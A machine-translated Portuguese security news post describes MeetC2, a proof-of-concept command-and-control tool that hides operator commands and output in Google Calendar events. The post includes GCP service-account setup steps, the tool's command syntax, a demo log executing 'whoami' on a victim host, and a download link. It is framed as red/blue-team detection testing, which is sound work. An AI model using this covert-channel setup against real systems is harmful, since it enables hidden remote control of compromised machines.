Título: MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação Data: 2025-09-06 09:49:02 Autor: Inteligência Against Invaders URL: https://datalake.azaeo.com/news-againstinvaders-com/07dd3cac6e2b9d2afc210bb6db0142d1/meetc2-uma-estrutura-c2-sem-servidor-que-aproveita-as-apis-do-google-agenda-como-um-canal-de-comunicacao/466/ MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação O MeetC2 é uma ferramenta PoC C2 que usa o Google Agenda para imitar o abuso da nuvem, ajudando as equipes a testar a detecção, o registro e a resposta. Fundo:Os adversários modernos ocultam cada vez mais o tráfego de comando e controle (C2) dentro dos serviços de nuvem. Criamos essa PoC (prova de conceito) para estudar e demonstrar essas técnicas de maneira controlada, emulando essas táticas para que as equipes vermelhas e azuis possam exercitar a detecção, a telemetria e a resposta a cenários de abuso na nuvem. Hora da história:Durante um exercício interno da equipe roxa, vimos a facilidade com que o tráfego para domínios SaaS confiáveis diminuiu. Criamos uma PoC leve e multiplataforma que usa o Google Agenda, oferecendo às equipes uma maneira reproduzível de validar detecções, registros e governança de aplicativos de terceiros para C2 de abuso de nuvem em um ambiente controlado. ConheçaC2:ConheçaC2é uma estrutura C2 de prova de conceito que usa a API Google Agenda como um canal de comunicação secreto entre as operadoras e um sistema comprometido. Visão geral ConheçaC2, também conhecido por MeetingC2, é um aplicativo multiplataforma (macOS/Linux) que demonstra como serviços de nuvem legítimos podem ser abusados para operações adversárias. Ao usar as APIs do Google Agenda, a estrutura cria um canal de comunicação oculto que se mistura com o tráfego comercial normal. Os domínios utilizados aqui são “oauth2.googleapis.com” & “www.googleapis.com“. Uma vez autenticado, o agente entra em um loop de sondagem, enviando solicitações GET a cada 30 segundos para “www.googleapis.com/calendar/v3/calendars/{calendarId}/eventos” para verificar se há novos eventos de calendário contendo comandos. Quando o organizador quiser emitir um novo comando, ele podePOSTARum novo evento para o mesmo endpoint da API Calendar por meio de “Organizador” com o comando incorporado no campo de resumo do evento, como “Reunião de ninguém: [COMMAND]”. O “hóspede” identifica esses eventos de comando durante sua sondagem regular, que extrai e executa o comando localmente e, em seguida, atualiza o mesmo evento por meio de umPÔRsolicitação para incluir a saída do comando dentro do[OUTPUT] [/OUTPUT]no campo Descrição. Configuração do Google Agenda Navegue até o URLConsole de nuvem do Google, faça login com sua conta do Google. Selecione um projeto ou crie um novo projeto. Navegue até “APIs e serviços” → clique em “Biblioteca”, na caixa de pesquisa, procure a API do Google Agenda e clique em “ATIVADO”, levará de 20 a 30 segundos para ativá-lo em seu projeto. Poste isso, navegue até “APIs e serviços” → “Credenciais” e clique em “+ CRIAR CREDENCIAIS” na parte superior. Escolha “Conta de serviço”, preencha os detalhes necessários, ou seja, Nome da conta de serviço: calendar-invite, Descrição: Sincroniza eventos de calendário e continua. Pule a função/usuários opcionais e clique em “CONCLUÍDO”. Agora verifique suas listas de contas de serviço e você deve ter um e-mail como “[emailprotected]”. Vá para a seção “CHAVES” “ADICIONAR CHAVE” → “Criar nova chave”, escolha o formato “JSON” e baixe a “CHAVE”. Renomeie o arquivo JSON baixado para credentials.json para uso posterior. Navegue até o URL “https://calendar.google.com”, no lado esquerdo, encontre “Outros calendários” → Clique no botão “+” clique em criar novo calendário, preencha o nome/descrição. Poste isso, clique nos 3 pontos ao lado → “Configurações e compartilhamento”. Role para baixo até “Integrar calendário”, verifique “ID do calendário” deve ser semelhante a “[emailprotected]”. Etapas finais, nas configurações do calendário, encontre “Compartilhar com pessoas específicas”, clique em “+ Adicionar pessoas”, adicione o e-mail da conta de serviço da etapa 4 acima (aquela que termina em @your-project.iam.gserviceaccount.com). Altere a permissão para “Fazer alterações nos eventos” e clique em “Enviar” e está tudo pronto. Linha de comando Compilar: ./build-all.sh Host do invasor: bash-3.2$ ./organizador credentials.jsem [NAME]@group.calendar.google.comOrganizador MeetC2Comandos:Exec — Execute em todos os hosts@host executivo: — Executar em host específicoexec @*: — Executar em todos os hosts (explícito)list — Lista comandos recentesObter — Obter saída do comandoclear — Limpar eventos executadosexit — Organizador de saída— — — — — — — — — — — — — — — — — — — —> executivo whoamiComando criado para todos os hosts: qfj4tt8a4uoi8p7cd3b8t31337>> Anfitrião vítima: bash-3.2$ ./convidado-darwin-arm6416:08:04 MeetC2 Convidado iniciado em dhirajmishra16:08:04 ID do calendário: [NAME]@group.calendar.google.com16:08:04 Sondagem a cada 10 segundos…16:08:15 Executando o comando: whoami16:08:16 Evento atualizado com êxito com saída Agradecimentos:Este projeto foi inspirado noGC2-folhaautorLooCiprian. Por isso, um agradecimento especial a ele. OpSec:Embora isso seja funcional, sei que há melhorias no OpSec especificamente para o “hóspede” binário. Portanto, use um projeto de teste do GCP para essa configuração, que deve ser eliminado posteriormente. Baixar MeetC2 https://github.com/deriv-security/MeetC2 Sobre o autor:Pesquisador de segurança Dhiraj Mishra (@mishradhiraj) Siga-me no Twitter:@securityaffairseLinkedineMastodonte PierluigiPaganini (Assuntos de Segurança–hacking,MeetC2)